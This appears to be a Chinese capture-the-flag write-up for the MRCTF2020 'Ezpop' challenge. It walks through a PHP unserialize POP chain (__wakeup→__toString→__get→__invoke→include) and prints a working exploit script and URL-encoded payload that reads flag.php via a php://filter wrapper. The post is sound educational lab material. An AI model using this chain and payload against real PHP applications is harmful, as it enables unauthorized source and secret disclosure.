[MRCTF2020]Ezpop --对pop链构造的简单理解

  简单的序列化攻击是因为对魔术方法的自动调用而触发漏洞,但如果关键代码不在魔术方法,而是在一个类的普通方法中,则需要观察联系类与函数之间的关系,将其与魔术方法的利用结合起来,这时候就可以利用pop链的构造与攻击。

首先题目界面直接给出了源码:
在这里插入图片描述

Welcome to index.php
<?php
//flag is in flag.php
//WTF IS THIS?
//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
//And Crack It!
class Modifier {
    protected  $var;
    public function append($value){
        include($value);
    }
    public function __invoke(){
        $this->append($this->var);
    }
}

class Show{
    public $source;
    public $str;
    public function __construct($file='index.php'){
        $this->source = $file;
        echo 'Welcome to '.$this->source."<br>";
    }
    public function __toString(){
        return $this->str->source;
    }

    public function __wakeup(){
        if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
            echo "hacker";
            $this->source = "index.php";
        }
    }
}

class Test{
    public $p;
    public function __construct(){
        $this->p = array();
    }

    public function __get($key){
        $function = $this->p;
        return $function();
    }
}

if(isset($_GET['pop'])){
    @unserialize($_GET['pop']);
}
else{
    $a=new Show;
    highlight_file(__FILE__);
}

甚至给出了教学网址,所以这是一道pop链攻击的入门题目。由简思考,未必不好。

随后我们进行源码审计:

在这里插入图片描述
代码开头的include很明显是敏感函数,我们得想办法构造pop链利用到这里。

这个时候能观察到__invoke(),这个魔术方法其实很好理解。对象本身是不能够当做函数去使用的,一旦被当做函数使用,就会回调执行__invoke()方法。

我们接着审计:
在这里插入图片描述
这里实在太明显了。。直接触发了__invoke(),现在我们的注意力应该放在怎么触发这里的__get()方法。实际上也相当简单,__get()方法将在访问不存在的成员变量时触发,如此处Test->var。

最后是我们的show()类,这个类是pop链构造的开始:

在这里插入图片描述
__wakeup()方法反序列化时直接调用,其中的preg_match()函数对source进行访问触发了toString()方法,__toString()方法又访问了str中的source。。。

哦豁,一切就联系起来了呗。如果$str=new Test(),因为Test类中没有source,直接触发__get()魔术方法,函数返回这里我们让$p=new Modifier(),以函数形式调用又能触发__invoke()魔术方法,最后让Modifier类中的var为我们要读取的flag.php不就好了~~

这里虽然看似有过滤,但居然没过滤filter伪协议,那就又降低了很多难度。。

所以我们的payload:

<?php
class Modifier{
	protected  $var="php://filter/read=convert.base64-encode/resource=flag.php";
}

class Show{
    public $source;
    public $str;
    public function __construct()
    {
        $this->str=new Test();
    }
}

class Test{
    public $p;
    public function __get($key){
        $function = $this->p;
        return $function();
    }
}

$hack=new Show();
$hack->source=new Show();
$hack->source->str->p=new Modifier();
echo urlencode(serialize($hack));

即:

O%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3BO%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3BN%3Bs%3A3%3A%22str%22%3BO%3A4%3A%22Test%22%3A1%3A%7Bs%3A1%3A%22p%22%3BO%3A8%3A%22Modifier%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00var%22%3Bs%3A57%3A%22php%3A%2F%2Ffilter%2Fread%3Dconvert.base64-encode%2Fresource%3Dflag.php%22%3B%7D%7D%7Ds%3A3%3A%22str%22%3BO%3A4%3A%22Test%22%3A1%3A%7Bs%3A1%3A%22p%22%3BN%3B%7D%7D

传入后得到回显:
在这里插入图片描述
解码即是flag:
在这里插入图片描述

考查知识点:

pop链的思考与利用

多种php魔术方法的特点

难度:

简单

总结:

源码审计是真正挖洞的技术前提。

评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值